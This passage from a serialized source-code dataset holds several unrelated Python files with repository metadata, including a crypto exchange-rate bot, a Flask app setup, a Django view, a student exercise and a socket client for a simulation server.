returns a rate from the best\n market, i.e., the one with the highest volume, for\n a given pair of currencies. Currencies include \n altcoins and fiat. The -v switch will display the\n best market in the bot's output.\n\n Rates are of one currency to another so they should\n be supplied to the command in pairs, where the pairs\n are specified as a space delimited list of currency\n codes. If you merely provide a single altcoin the\n bot will provide its rate in USD.\n \n You can find whether certain currencies are\n available by using the -a switch. You can see all\n available coins by using the -c switch. As a courtesy,\n the -n switch takes a list of space delimited currency\n codes and returns their long name, e.g., USD -> US\n dollar. \n '''.format(cp=CMND_PREFIX)\n return reply, True\n else:\n ni = 'Not available for that command. Use help instead.'\n return ni, False\n\n def parse_rate(self, msg):\n '''\n Parse the msg for the calculation\n of a rate.\n '''\n # Grab the command line options\n if msg.startswith(CMND_PREFIX + 'rate'):\n opts = msg.split()[1:]\n else:\n opts = msg.split()\n\n # Get fresh data if needed\n if self.stale():\n if not self.get_fresh_data():\n log.err('Failed to obtain fresh API average data')\n return '[Error]: Cannot access CryptoCoinCharts API. ' + \\\n 'Contact bot maintainer.', True\n\n # Parse the command\n try:\n # Allow for a default currency\n if len(opts) == 1 or \\\n (len(opts) == 2 and \\\n '-v' in opts or '--verbose' in opts):\n opts.append(self.default_currency)\n\n # Parse the command\n args = self.parser.parse_args(opts)\n currencies = args.currencies\n except ArgParserError, exc:\n return exc, True\n\n # Check if we need to provide some help\n if args.coins:\n # Return the list of coins privately\n replies = {char: sorted([cur.upper() for cur in \\\n self.coins.keys() \\\n if cur.upper().startswith(char)]) \\\n for char in ascii_uppercase}\n reply = ['Altcoins Available:']\n for char in ascii_uppercase:\n reply.append(' | '.join(replies[char]))\n return '\\n'.join(reply), True\n\n # Check if we're checking for coin support\n if args.available:\n reply = []\n for coin in args.available:\n reply.append('{} is{} supported'.format(coin, \n '' if self.supported(coin) \\\n else ' NOT'))\n\n return ' | '.join(reply), False\n\n # Check for long name checking\n if args.long_name:\n reply = map( lambda x: '[{}]: '.format(x) + self.coins[x]['name'] \\\n if x in self.coins \n else self.name_currencies[x] \\\n if x in self.currencies\n else ''\n , args.long_name\n )\n return ' | '.join(x for x in reply if x), False\n\n # Get the pairs in a useable format\n pairs = [(currencies[i], currencies[i+1]) \\\n for i in range(0, len(currencies), 2)]\n payload = ','.join(map(lambda x: '{}_{}'.format(x[0], x[1]), pairs))\n\n # Figure out if you need to use pair or pairs\n if len(pairs) > 1:\n post = True\n else:\n post = False\n\n # Make sure all the pairs are supported\n if not all(map(self.supported, currencies)):\n reply = '[Error]: Invalid coin specified.'\n reply += ' | Use the -c/--coins option to see all supported' \n return reply, False\n \n # Set up data for a request\n try:\n # Make the proper request\n if post:\n r = requests.post(self.api_pairs, data=payload)\n else:\n r = requests.get('{}{}'.format(self.api_pair, payload))\n\n # Check for valid status code\n if r.status_code != 200:\n log.err('[Error]: Status code {} for pairs API'.format(r.status_code))\n return '[Error]: Cannot contact pairs API. Please ' + \\\n 'contact bot maintainer.', True\n\n # Get all returned pair(s)\n ret_pairs = r.json if type(r.json) == list else [r.json()]\n\n # Build the reply\n replies = []\n for i, pair in enumerate(ret_pairs):\n if pair['id'] is None:\n reply = '[Error]: No response for {}. Try {}'.\\\n format( ' '.join(pairs[i])\n , '{} {}'.format(pairs[i][-1].upper(), pairs[i][0].upper())\n )\n else:\n reply = '{pair}{price}{convert} {v}'.\\\n format( pair='[{}]: '.format(str(pair['id'].upper()))\n , price=round(float(pair['price']), 8)\n , convert=' | {} {} for 1 {}'.\\\n format( round(1.0 / float(pair['price']), 8)\n , pairs[i][0].upper()\n , pairs[i][1].upper()\n ) if not (pairs[i][0] in self.currencies or \\\n pairs[i][1] in self.currencies) \\\n else ''\n , v=' | [Best Market]: {}'.format(str(pair['best_market'])) \\\n if args.verbose else ''\n )\n replies.append(reply)\n\n return ' | '.join(replies), False if not post else True\n except:\n log.err('[Error]: {}'.format(sys.exc_info()[0]))\n return '[Error]: Cannot contact pairs API. Please ' + \\\n 'contact bot maintainer.', True\n\n def supported(self, code, include_currencies=True):\n '''\n Tests if the passed in code is supported in the\n CryptoCoin API.\n\n Can toggle whether currencies are included in the\n check.\n\n Return True if supported and False otherwise.\n '''\n if include_currencies:\n return code.upper() in self.names or code.upper() in self.currencies\n else:\n return code.upper() in self.names\n\n def build_parser(self):\n '''\n Builds a parser for the program.\n\n Return None.\n '''\n # Build an argument parser\n self.parser = ArgParser( description='Calculate the rate of two coins'\n , add_help=False\n )\n \n self.parser.add_argument( '-a'\n , '--available'\n , nargs='+'\n , help='Find out if particular coin(s) are available'\n )\n self.parser.add_argument( '-c'\n , '--coins'\n , action='store_true'\n , help='List all coins available'\n )\n self.parser.add_argument( '-n'\n , '--long-name'\n , dest='long_name'\n , nargs='*'\n , help='Get long name for currency codes'\n )\n self.parser.add_argument( '-v'\n , '--verbose'\n , action='store_true'\n , help='Get additional information on rates'\n )\n self.parser.add_argument( 'currencies'\n , help='Currencies to find the rate of'\n , nargs='*'\n , action=EvenAndMinMaxPairs\n )\n\n def stale(self):\n '''\n Return True if API data is stale.\n '''\n # See if a pull from the API\n # has never been made\n if not self.last_update:\n return True\n\n return (datetime.datetime.utcnow() - self.last_update).seconds > 60\n\n def get_fresh_data(self):\n '''\n Grab fresh data from the API and saves\n it in class attributes.\n\n Returns True if grab was successful\n and False if an error occurred.\n '''\n try:\n # Now, grab the pairs data\n r = requests.get(self.api_list_coins)\n if r.status_code != 200:\n log.err('[Error]: Status code {} for listing coins'.\\\n format(r.status_code))\n return False\n else:\n self.coins = {}\n for coind in r.json():\n # Don't take any coins with zero volume\n if not float(coind['volume_btc']):\n continue\n # Otherwise, save the information\n self.coins[coind['id']] = {k: v for k,v in coind.iteritems() \\\n if k != 'id'}\n\n # Also save a list of coin names\n self.names = {str(x.upper()) for x in self.coins.iterkeys()}\n\n # Finally, get some currencies\n self.get_currencies()\n\n return True\n # Any error that occurs connecting to the API \n except:\n log.err('[Error]: {}'.format(sys.exc_info()[0]))\n return False\n\n def get_currencies(self):\n '''\n Obtain a list of currencies\n used for calculating rates of\n various CryptoCoins. Store this\n list\n '''\n if not self.currencies:\n with open(self.currencies_csv) as csvf:\n # Create a reader object and save the dicts\n reader = DictReader(csvf)\n\n # Save the dictionaries\n reader = [cd for cd in reader]\n\n # Save the currencies as a set\n self.currencies = sorted(set(map(itemgetter('AlphabeticCode'),\n reader)))\n self.currencies = [c for c in self.currencies if c.strip()]\n\n # Also, save mapping of currencies\n # to a longer name for them\n self.name_currencies = {d['AlphabeticCode']: d['Currency'] \\\n for d in reader \\\n if d['AlphabeticCode'] in \\\n self.currencies}\n \n return self.currencies\n\n\n"},"src_encoding":{"kind":"string","value":"UTF-8"},"language":{"kind":"string","value":"Python"},"is_vendor":{"kind":"bool","value":false,"string":"false"},"is_generated":{"kind":"bool","value":false,"string":"false"},"year":{"kind":"number","value":2014,"string":"2,014"}}},{"rowIdx":666,"cells":{"__id__":{"kind":"number","value":8323646621496,"string":"8,323,646,621,496"},"blob_id":{"kind":"string","value":"e5bafab4565751b80d05fbd2b25e77b251536549"},"directory_id":{"kind":"string","value":"f5c905a6ff11bacef241757654663cd94314f22f"},"path":{"kind":"string","value":"/pkglib/pkglib/setuptools/command/config.py"},"content_id":{"kind":"string","value":"e0df9bab195b2e15c99cd07542cc468b22678eef"},"detected_licenses":{"kind":"list like","value":["MIT"],"string":"[\n \"MIT\"\n]"},"license_type":{"kind":"string","value":"permissive"},"repo_name":{"kind":"string","value":"pythonpro-dev/pkglib-copy"},"repo_url":{"kind":"string","value":"https://github.com/pythonpro-dev/pkglib-copy"},"snapshot_id":{"kind":"string","value":"7cf934b6dffc36b31dab67c96b55ad317f6016f5"},"revision_id":{"kind":"string","value":"4c106eb3f80d9898186601a9cad9ed4c2553b568"},"branch_name":{"kind":"string","value":"HEAD"},"visit_date":{"kind":"timestamp","value":"2016-09-05T16:35:53.099458","string":"2016-09-05T16:35:53.099458"},"revision_date":{"kind":"timestamp","value":"2014-04-22T17:11:07","string":"2014-04-22T17:11:07"},"committer_date":{"kind":"timestamp","value":"2014-04-22T17:11:07","string":"2014-04-22T17:11:07"},"github_id":{"kind":"number","value":19311481,"string":"19,311,481"},"star_events_count":{"kind":"number","value":0,"string":"0"},"fork_events_count":{"kind":"number","value":1,"string":"1"},"gha_license_id":{"kind":"null"},"gha_fork":{"kind":"null"},"gha_event_created_at":{"kind":"null"},"gha_created_at":{"kind":"null"},"gha_updated_at":{"kind":"null"},"gha_pushed_at":{"kind":"null"},"gha_size":{"kind":"null"},"gha_stargazers_count":{"kind":"null"},"gha_forks_count":{"kind":"null"},"gha_open_issues_count":{"kind":"null"},"gha_language":{"kind":"null"},"gha_archived":{"kind":"null"},"gha_disabled":{"kind":"null"},"content":{"kind":"string","value":"from setuptools import Command\n\nfrom distutils import log\n\nfrom ... import CONFIG\nfrom ...config import org\n\n\nclass config(Command):\n \"\"\" Print PkgLib configuration \"\"\"\n description = \"Print out PkgLib configuration\"\n\n user_options = [\n ]\n boolean_options = [\n ]\n\n def initialize_options(self):\n pass\n\n def finalize_options(self):\n pass\n\n def run(self):\n log.info(\"Organisation Config\")\n for k in org.ORG_SLOTS:\n log.info(\" {0}: {1}\".format(k, getattr(CONFIG, k)))\n"},"src_encoding":{"kind":"string","value":"UTF-8"},"language":{"kind":"string","value":"Python"},"is_vendor":{"kind":"bool","value":false,"string":"false"},"is_generated":{"kind":"bool","value":false,"string":"false"},"year":{"kind":"number","value":2014,"string":"2,014"}}},{"rowIdx":667,"cells":{"__id__":{"kind":"number","value":15564961496389,"string":"15,564,961,496,389"},"blob_id":{"kind":"string","value":"74b7fc719aa71a5fda5a20293e224485c2f95c23"},"directory_id":{"kind":"string","value":"3ba41609a00af5aba3fb1bef8c44be765ae01783"},"path":{"kind":"string","value":"/tuistudio/__init__.py"},"content_id":{"kind":"string","value":"9e147e524279ed82b55ae7b81475a66534f729c6"},"detected_licenses":{"kind":"list like","value":["Apache-2.0"],"string":"[\n \"Apache-2.0\"\n]"},"license_type":{"kind":"string","value":"permissive"},"repo_name":{"kind":"string","value":"tuistudio/tuistudio.com"},"repo_url":{"kind":"string","value":"https://github.com/tuistudio/tuistudio.com"},"snapshot_id":{"kind":"string","value":"d7139db09803558c9c4d864d3bfd077907885b7f"},"revision_id":{"kind":"string","value":"fb0995370c02ffa4bf6809da21f28dc23b5592cb"},"branch_name":{"kind":"string","value":"refs/heads/master"},"visit_date":{"kind":"timestamp","value":"2021-01-10T21:42:43.546214","string":"2021-01-10T21:42:43.546214"},"revision_date":{"kind":"timestamp","value":"2014-10-16T02:14:46","string":"2014-10-16T02:14:46"},"committer_date":{"kind":"timestamp","value":"2014-10-16T02:14:46","string":"2014-10-16T02:14:46"},"github_id":{"kind":"null"},"star_events_count":{"kind":"number","value":0,"string":"0"},"fork_events_count":{"kind":"number","value":0,"string":"0"},"gha_license_id":{"kind":"null"},"gha_fork":{"kind":"null"},"gha_event_created_at":{"kind":"null"},"gha_created_at":{"kind":"null"},"gha_updated_at":{"kind":"null"},"gha_pushed_at":{"kind":"null"},"gha_size":{"kind":"null"},"gha_stargazers_count":{"kind":"null"},"gha_forks_count":{"kind":"null"},"gha_open_issues_count":{"kind":"null"},"gha_language":{"kind":"null"},"gha_archived":{"kind":"null"},"gha_disabled":{"kind":"null"},"content":{"kind":"string","value":"# coding: utf-8\nimport sys\nfrom flask import Flask, request, url_for, g, render_template, session\nfrom flask_wtf.csrf import CsrfProtect\nfrom flask.ext.uploads import configure_uploads\nfrom flask_debugtoolbar import DebugToolbarExtension\nfrom flask.ext.assets import Environment, Bundle\nfrom . import config\n\n# convert python's encoding to utf8\nreload(sys)\nsys.setdefaultencoding('utf8')\n\n\ndef create_app():\n \"\"\"创建Flask app\"\"\"\n app = Flask(__name__)\n app.config.from_object(config)\n\n # CSRF protect\n CsrfProtect(app)\n\n if app.debug:\n DebugToolbarExtension(app)\n else:\n from .utils.sentry import sentry\n\n sentry.init_app(app)\n\n # from .mails import mail\n # mail.init_app(app)\n\n assets = Environment()\n assets.init_app(app)\n\n # 注册组件\n register_db(app)\n register_routes(app)\n register_jinja(app)\n register_error_handle(app)\n register_uploadsets(app)\n\n # before every request\n @app.before_request\n def before_request():\n pass\n\n return app\n\n\ndef register_jinja(app):\n \"\"\"注册模板全局变量和全局函数\"\"\"\n from jinja2 import Markup\n from .utils import filters\n\n app.jinja_env.filters['timesince'] = filters.timesince\n\n # inject vars into template context\n @app.context_processor\n def inject_vars():\n return dict(\n g_var_name=0,\n )\n\n def url_for_other_page(page):\n \"\"\"Generate url for pagination\"\"\"\n view_args = request.view_args.copy()\n args = request.args.copy().to_dict()\n args['page'] = page\n view_args.update(args)\n return url_for(request.endpoint, **view_args)\n\n def static(filename):\n \"\"\"生成静态资源url\"\"\"\n return url_for('static', filename=filename)\n\n def bower(filename):\n \"\"\"生成bower资源url\"\"\"\n return static(\"bower_components/%s\" % filename)\n\n def script(path):\n \"\"\"生成script标签\"\"\"\n return Markup(\"\" % static(path))\n\n def link(path):\n \"\"\"生成link标签\"\"\"\n return Markup(\"\" % static(path))\n\n app.jinja_env.globals['url_for_other_page'] = url_for_other_page\n app.jinja_env.globals['static'] = static\n app.jinja_env.globals['bower'] = bower\n app.jinja_env.globals['script'] = script\n app.jinja_env.globals['link'] = link\n\n\ndef register_db(app):\n \"\"\"注册Model\"\"\"\n from .models import db\n\n db.init_app(app)\n\n\ndef register_routes(app):\n \"\"\"注册路由\"\"\"\n from .controllers import site, account, admin\n\n app.register_blueprint(site.bp, url_prefix='')\n app.register_blueprint(account.bp, url_prefix='/account')\n app.register_blueprint(admin.bp, url_prefix='/admin')\n\n\ndef register_error_handle(app):\n \"\"\"注册HTTP错误页面\"\"\"\n\n @app.errorhandler(403)\n def page_403(error):\n return render_template('site/403.html'), 403\n\n @app.errorhandler(404)\n def page_404(error):\n return render_template('site/404.html'), 404\n\n @app.errorhandler(500)\n def page_500(error):\n return render_template('site/500.html'), 500\n\n\ndef register_uploadsets(app):\n \"\"\"注册UploadSets\"\"\"\n from .utils.uploadsets import avatars\n\n configure_uploads(app, (avatars))\n\n\napp = create_app()"},"src_encoding":{"kind":"string","value":"UTF-8"},"language":{"kind":"string","value":"Python"},"is_vendor":{"kind":"bool","value":false,"string":"false"},"is_generated":{"kind":"bool","value":false,"string":"false"},"year":{"kind":"number","value":2014,"string":"2,014"}}},{"rowIdx":668,"cells":{"__id__":{"kind":"number","value":18803366845835,"string":"18,803,366,845,835"},"blob_id":{"kind":"string","value":"b39266ff6918267a85b9e748e89ad15fb129cfaf"},"directory_id":{"kind":"string","value":"c2d745f217f0a4be6746386f389da050e78fb38d"},"path":{"kind":"string","value":"/Curso Python/tareasemana3/samuel.py"},"content_id":{"kind":"string","value":"57ee2d3ee2073b429b0307fdfaaa9fac0adf4f6c"},"detected_licenses":{"kind":"list like","value":[],"string":"[]"},"license_type":{"kind":"string","value":"no_license"},"repo_name":{"kind":"string","value":"samusfree/Curso-Python"},"repo_url":{"kind":"string","value":"https://github.com/samusfree/Curso-Python"},"snapshot_id":{"kind":"string","value":"8813e5764c7031df285faf456993c674e48b0b71"},"revision_id":{"kind":"string","value":"b4f5b2bbd9c485ec27cee244a886d8a33807687b"},"branch_name":{"kind":"string","value":"refs/heads/master"},"visit_date":{"kind":"timestamp","value":"2016-05-26T14:28:43.554122","string":"2016-05-26T14:28:43.554122"},"revision_date":{"kind":"timestamp","value":"2014-06-11T17:10:56","string":"2014-06-11T17:10:56"},"committer_date":{"kind":"timestamp","value":"2014-06-11T17:10:56","string":"2014-06-11T17:10:56"},"github_id":{"kind":"null"},"star_events_count":{"kind":"number","value":0,"string":"0"},"fork_events_count":{"kind":"number","value":0,"string":"0"},"gha_license_id":{"kind":"null"},"gha_fork":{"kind":"null"},"gha_event_created_at":{"kind":"null"},"gha_created_at":{"kind":"null"},"gha_updated_at":{"kind":"null"},"gha_pushed_at":{"kind":"null"},"gha_size":{"kind":"null"},"gha_stargazers_count":{"kind":"null"},"gha_forks_count":{"kind":"null"},"gha_open_issues_count":{"kind":"null"},"gha_language":{"kind":"null"},"gha_archived":{"kind":"null"},"gha_disabled":{"kind":"null"},"content":{"kind":"string","value":"'''\nCreated on 05/05/2014\n\n@author: Samus\n'''\n# Pregunta A\nx = 2\n\ny = 5\n\nif y > 8:\n y = y * 2\nelse:\n x = x * 2\n \nprint(x + y)\n\n# Pregunta B\nfor i in range(1, 10):\n if i is not 3:\n for j in range(1, 7):\n print('Hola')\n\n#pregunta C\ncantidad = 0\nfor j in range(1067,3628):\n if j%2==0 and j%7==0:\n cantidad +=1\nprint(\"Cantidad de Numeros Pares y Divisibles entre 7 del rango de 1067 a 3627 %d\" %cantidad)\n\n#pregunta d\ndef isNumeroValido(numero):\n numero = numero.strip()\n #los digitos no pueden ser iguales\n x = 0\n while x < len(numero)-1: \n if numero[x] is [numero[x+1]]:\n return False\n x+=1\n \n #suma digitos\n suma = 0 \n x=0\n while x < len(numero):\n suma = suma + int(numero[x])\n x+=1\n \n if suma % 2 is not 0:\n return False\n \n #ultimo y primer nunero diferente\n if numero[0] == numero[len(numero)-1]:\n return False\n \n return True\n\narchivo = open('telefonos.txt')\n\ncantidadValidos = 0\nfor linea in archivo.readlines():\n if(isNumeroValido(linea)):\n cantidadValidos += 1\n \narchivo.close()\n\nprint (\"Cantidad de Números de Telefonos Validos es : %d\" %cantidadValidos)"},"src_encoding":{"kind":"string","value":"UTF-8"},"language":{"kind":"string","value":"Python"},"is_vendor":{"kind":"bool","value":false,"string":"false"},"is_generated":{"kind":"bool","value":false,"string":"false"},"year":{"kind":"number","value":2014,"string":"2,014"}}},{"rowIdx":669,"cells":{"__id__":{"kind":"number","value":14474039789699,"string":"14,474,039,789,699"},"blob_id":{"kind":"string","value":"41f7419d86ba8a9863cf56717eb2dbc5a839551b"},"directory_id":{"kind":"string","value":"e594dc29ccd1d8b423106eee5079ce3b3c93900d"},"path":{"kind":"string","value":"/calc.py"},"content_id":{"kind":"string","value":"7ccbbfe27e30d38c4bea73a0964a43eecd00fc48"},"detected_licenses":{"kind":"list like","value":["BSD-3-Clause"],"string":"[\n \"BSD-3-Clause\"\n]"},"license_type":{"kind":"string","value":"permissive"},"repo_name":{"kind":"string","value":"Slugger70/calc-demo"},"repo_url":{"kind":"string","value":"https://github.com/Slugger70/calc-demo"},"snapshot_id":{"kind":"string","value":"c258f0af2e5b70f68d4668d2eab68f1df018114d"},"revision_id":{"kind":"string","value":"71d7f7e201bcb21052b21cce31eff55e2d449341"},"branch_name":{"kind":"string","value":"refs/heads/master"},"visit_date":{"kind":"timestamp","value":"2021-01-18T12:31:00.863533","string":"2021-01-18T12:31:00.863533"},"revision_date":{"kind":"timestamp","value":"2013-11-25T00:55:28","string":"2013-11-25T00:55:28"},"committer_date":{"kind":"timestamp","value":"2013-11-25T00:55:28","string":"2013-11-25T00:55:28"},"github_id":{"kind":"null"},"star_events_count":{"kind":"number","value":0,"string":"0"},"fork_events_count":{"kind":"number","value":0,"string":"0"},"gha_license_id":{"kind":"null"},"gha_fork":{"kind":"null"},"gha_event_created_at":{"kind":"null"},"gha_created_at":{"kind":"null"},"gha_updated_at":{"kind":"null"},"gha_pushed_at":{"kind":"null"},"gha_size":{"kind":"null"},"gha_stargazers_count":{"kind":"null"},"gha_forks_count":{"kind":"null"},"gha_open_issues_count":{"kind":"null"},"gha_language":{"kind":"null"},"gha_archived":{"kind":"null"},"gha_disabled":{"kind":"null"},"content":{"kind":"string","value":"import sys\n\nif __name__ == '__main__':\n nums = map(float, sys.argv[1:])\n print(sum(nums))\n\n"},"src_encoding":{"kind":"string","value":"UTF-8"},"language":{"kind":"string","value":"Python"},"is_vendor":{"kind":"bool","value":false,"string":"false"},"is_generated":{"kind":"bool","value":false,"string":"false"},"year":{"kind":"number","value":2013,"string":"2,013"}}},{"rowIdx":670,"cells":{"__id__":{"kind":"number","value":4303557236369,"string":"4,303,557,236,369"},"blob_id":{"kind":"string","value":"cbf3ea5af076584f35f2cb77e7d1fb20996fc2b6"},"directory_id":{"kind":"string","value":"29c421b7a4e0bb7cd8163cbf295a6bd29c28fd1a"},"path":{"kind":"string","value":"/ajustesLogica/views/soporte/controllerCorreo.py"},"content_id":{"kind":"string","value":"2905ab81da5e1ae037d23a6ad89fe3d8f2cb53d8"},"detected_licenses":{"kind":"list like","value":[],"string":"[]"},"license_type":{"kind":"string","value":"no_license"},"repo_name":{"kind":"string","value":"kristiandamian/Ajustes"},"repo_url":{"kind":"string","value":"https://github.com/kristiandamian/Ajustes"},"snapshot_id":{"kind":"string","value":"dec6190b1e60462a6891bf86a89e9c950eb27afe"},"revision_id":{"kind":"string","value":"a54c7b276ca46f1a8b5a1b4378c9a70ccb371fa8"},"branch_name":{"kind":"string","value":"refs/heads/master"},"visit_date":{"kind":"timestamp","value":"2016-09-05T20:15:20.993436","string":"2016-09-05T20:15:20.993436"},"revision_date":{"kind":"timestamp","value":"2014-07-25T22:35:47","string":"2014-07-25T22:35:47"},"committer_date":{"kind":"timestamp","value":"2014-07-25T22:35:47","string":"2014-07-25T22:35:47"},"github_id":{"kind":"null"},"star_events_count":{"kind":"number","value":0,"string":"0"},"fork_events_count":{"kind":"number","value":0,"string":"0"},"gha_license_id":{"kind":"null"},"gha_fork":{"kind":"null"},"gha_event_created_at":{"kind":"null"},"gha_created_at":{"kind":"null"},"gha_updated_at":{"kind":"null"},"gha_pushed_at":{"kind":"null"},"gha_size":{"kind":"null"},"gha_stargazers_count":{"kind":"null"},"gha_forks_count":{"kind":"null"},"gha_open_issues_count":{"kind":"null"},"gha_language":{"kind":"null"},"gha_archived":{"kind":"null"},"gha_disabled":{"kind":"null"},"content":{"kind":"string","value":"from django.contrib.auth.decorators import permission_required\nfrom ajustesLogica.models import Ajuste, RegionAuditoria\nfrom django.http import HttpResponse, HttpResponseRedirect\nfrom django.template import RequestContext, loader, Context\nfrom django.contrib.auth.decorators import login_required\nfrom ajustesLogica.Config import Configuracion\n\n@login_required(login_url=Configuracion.LOGIN_URL)\ndef ConfiguracionCorreo(request):\n template = loader.get_template('soporte/ConfigCorreo.html')\n regiones=RegionAuditoria.objects.PorPermiso(request.user).order_by(\"NombreRegion\")\n context=RequestContext(request, {\n 'regiones':regiones,\n })\n return HttpResponse(template.render(context)) "},"src_encoding":{"kind":"string","value":"UTF-8"},"language":{"kind":"string","value":"Python"},"is_vendor":{"kind":"bool","value":false,"string":"false"},"is_generated":{"kind":"bool","value":false,"string":"false"},"year":{"kind":"number","value":2014,"string":"2,014"}}},{"rowIdx":671,"cells":{"__id__":{"kind":"number","value":16707422804977,"string":"16,707,422,804,977"},"blob_id":{"kind":"string","value":"f399b93aff01f791491cd9e652e66cabaeee8352"},"directory_id":{"kind":"string","value":"4484800c5fe68524d26c5e9387596753ab17b5c5"},"path":{"kind":"string","value":"/Services/History/ActiveObject.py"},"content_id":{"kind":"string","value":"97db207bc110d36daf4ee01817698f5c820a309d"},"detected_licenses":{"kind":"list like","value":[],"string":"[]"},"license_type":{"kind":"string","value":"no_license"},"repo_name":{"kind":"string","value":"buhaibogdan/dissertation-app"},"repo_url":{"kind":"string","value":"https://github.com/buhaibogdan/dissertation-app"},"snapshot_id":{"kind":"string","value":"cb4be2678d57fb0c4a85e3d63e6217c8be5f68c1"},"revision_id":{"kind":"string","value":"73dae0e0aff0f28037e6c671763384142604be61"},"branch_name":{"kind":"string","value":"refs/heads/master"},"visit_date":{"kind":"timestamp","value":"2016-09-06T04:38:28.662560","string":"2016-09-06T04:38:28.662560"},"revision_date":{"kind":"timestamp","value":"2014-08-15T14:55:50","string":"2014-08-15T14:55:50"},"committer_date":{"kind":"timestamp","value":"2014-08-15T14:55:50","string":"2014-08-15T14:55:50"},"github_id":{"kind":"null"},"star_events_count":{"kind":"number","value":0,"string":"0"},"fork_events_count":{"kind":"number","value":0,"string":"0"},"gha_license_id":{"kind":"null"},"gha_fork":{"kind":"null"},"gha_event_created_at":{"kind":"null"},"gha_created_at":{"kind":"null"},"gha_updated_at":{"kind":"null"},"gha_pushed_at":{"kind":"null"},"gha_size":{"kind":"null"},"gha_stargazers_count":{"kind":"null"},"gha_forks_count":{"kind":"null"},"gha_open_issues_count":{"kind":"null"},"gha_language":{"kind":"null"},"gha_archived":{"kind":"null"},"gha_disabled":{"kind":"null"},"content":{"kind":"string","value":"import threading\nimport requests\nfrom Services.Log.LogService import logService\n\n\nclass ActiveObject(threading.Thread):\n def __init__(self, uid):\n threading.Thread.__init__(self)\n self._finished = threading.Event()\n self._interval = 120\n\n self.uid = uid\n self.historyAll = ''\n self.historyUser = ''\n\n def setInterval(self, interval):\n self._interval = interval\n\n def stop(self):\n \"\"\" stop the thread \"\"\"\n self._finished.set()\n\n def run(self):\n while True:\n if self._finished.isSet():\n return\n self.task()\n self._finished.wait(self._interval)\n\n def task(self):\n try:\n self.historyAll = requests.get('http://localhost:8001/').content\n except requests.ConnectionError:\n logService.log_error('[HistoryService] ActiveObject could not connect to EventWebService')"},"src_encoding":{"kind":"string","value":"UTF-8"},"language":{"kind":"string","value":"Python"},"is_vendor":{"kind":"bool","value":false,"string":"false"},"is_generated":{"kind":"bool","value":false,"string":"false"},"year":{"kind":"number","value":2014,"string":"2,014"}}},{"rowIdx":672,"cells":{"__id__":{"kind":"number","value":5970004584924,"string":"5,970,004,584,924"},"blob_id":{"kind":"string","value":"c9824b15f16bc430dcc98285a5719396eccef069"},"directory_id":{"kind":"string","value":"6f4455f5cd714d03000365c9767ba7ac2dfc525c"},"path":{"kind":"string","value":"/Simulation-Cafe1/python-demo-client/client.py"},"content_id":{"kind":"string","value":"2228b6f6a742d0cb8c0ecb8c4de602baedb77026"},"detected_licenses":{"kind":"list like","value":["GPL-2.0-only","GPL-1.0-or-later","GPL-2.0-or-later"],"string":"[\n \"GPL-2.0-only\",\n \"GPL-1.0-or-later\",\n \"GPL-2.0-or-later\"\n]"},"license_type":{"kind":"string","value":"non_permissive"},"repo_name":{"kind":"string","value":"bhenne/MoSP-Siafu"},"repo_url":{"kind":"string","value":"https://github.com/bhenne/MoSP-Siafu"},"snapshot_id":{"kind":"string","value":"fd1d5287bb905679b6b38f55f1e2955af8127ec2"},"revision_id":{"kind":"string","value":"a4fd3c5ae700e9f42abadfd7f36d5744e2863694"},"branch_name":{"kind":"string","value":"refs/heads/master"},"visit_date":{"kind":"timestamp","value":"2016-09-05T16:51:26.374992","string":"2016-09-05T16:51:26.374992"},"revision_date":{"kind":"timestamp","value":"2012-04-19T09:29:55","string":"2012-04-19T09:29:55"},"committer_date":{"kind":"timestamp","value":"2012-04-19T09:29:55","string":"2012-04-19T09:29:55"},"github_id":{"kind":"null"},"star_events_count":{"kind":"number","value":0,"string":"0"},"fork_events_count":{"kind":"number","value":0,"string":"0"},"gha_license_id":{"kind":"null"},"gha_fork":{"kind":"null"},"gha_event_created_at":{"kind":"null"},"gha_created_at":{"kind":"null"},"gha_updated_at":{"kind":"null"},"gha_pushed_at":{"kind":"null"},"gha_size":{"kind":"null"},"gha_stargazers_count":{"kind":"null"},"gha_forks_count":{"kind":"null"},"gha_open_issues_count":{"kind":"null"},"gha_language":{"kind":"null"},"gha_archived":{"kind":"null"},"gha_disabled":{"kind":"null"},"content":{"kind":"string","value":"#!/usr/bin/env python\n# run using `python -O client.py` to suppress DEBUG output\n\nimport socket\n\n__author__ = \"B. Henne\"\n__contact__ = \"henne@dcsec.uni-hannover.de\"\n__copyright__ = \"(c) 2012, DCSec, Leibniz Universitaet Hannover, Germany\"\n__license__ = \"GPLv3\"\n\nSTEP_DONE_PUSH = '\\xF9'\nSTEP_DONE = '\\xFA'\nSIM_ENDED = '\\xFB'\nACK = '\\xFC'\nFIELD_SEP = '\\xFD'\nMSG_SEP = '\\xFE'\nMSG_END = '\\xFF'\nQUIT = '\\x00'\nGET_MODE = '\\x01'\nPUT_MODE = '\\x02'\nSTEP = '\\x03'\nIDENT = '\\x04'\n\ns = None\nsteps = 0\n\ndef connect(host='localhost', port=4444):\n global s\n if __debug__: print 'Connect to %s:%s' % (host, port)\n s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n s.connect((host, port))\n\ndef exit_sim():\n s.send(QUIT)\n\ndef close(exit=True):\n if (exit == True):\n if __debug__: print \"Shutdown sim\"\n exit_sim()\n if __debug__: print \"Close connection\"\n s.close()\n\ndef recv_until(endsymbol, include_endsymbol=True):\n d = ''\n r = ''\n while (d != endsymbol):\n d = s.recv(1)\n if (d != endsymbol) or (include_endsymbol == True):\n r += d\n return r\n\ndef identify():\n if __debug__: print \"--> IDENTIFY\"\n s.send(IDENT)\n i = recv_until(MSG_END, False)\n if __debug__: print '<-- %s' % i.split(FIELD_SEP)\n\ndef step(n=1):\n global steps\n if __debug__: print \"--> STEP %s\" % n\n s.send(STEP)\n s.send(str(n))\n s.send(MSG_END)\n steps += 1\n d = s.recv(1)\n if (d == ACK):\n if __debug__: print \"<-- ACK\"\n else:\n if __debug__: print \"!!! ACK wanted, got %s\" % d\n d = s.recv(1)\n if (d == STEP_DONE):\n if __debug__: print \"<-- STEP(S) DONE\"\n elif (d == STEP_DONE_PUSH):\n if __debug__: print \"<-- STEP(S) DONE, PUSHING DATA\"\n blob = recv_until(MSG_END, False)\n if __debug__: print \" received %s bytes\" % len(blob)\n if __debug__: print \"--> ACK\"\n s.send(ACK)\n if len(blob) > 0:\n print \"%5i\" % steps\n msgs = blob.split(MSG_SEP)\n for msg in msgs:\n print \" > %s\" % msg.split(FIELD_SEP)\n else:\n if __debug__: print \"!!! STEP(S)_DONE wanted, got %s\" % d\n\ndef get():\n if __debug__: print \"--> GET\"\n s.send(GET_MODE)\n if __debug__: print \"<-- DATA\"\n blob = recv_until(MSG_END, 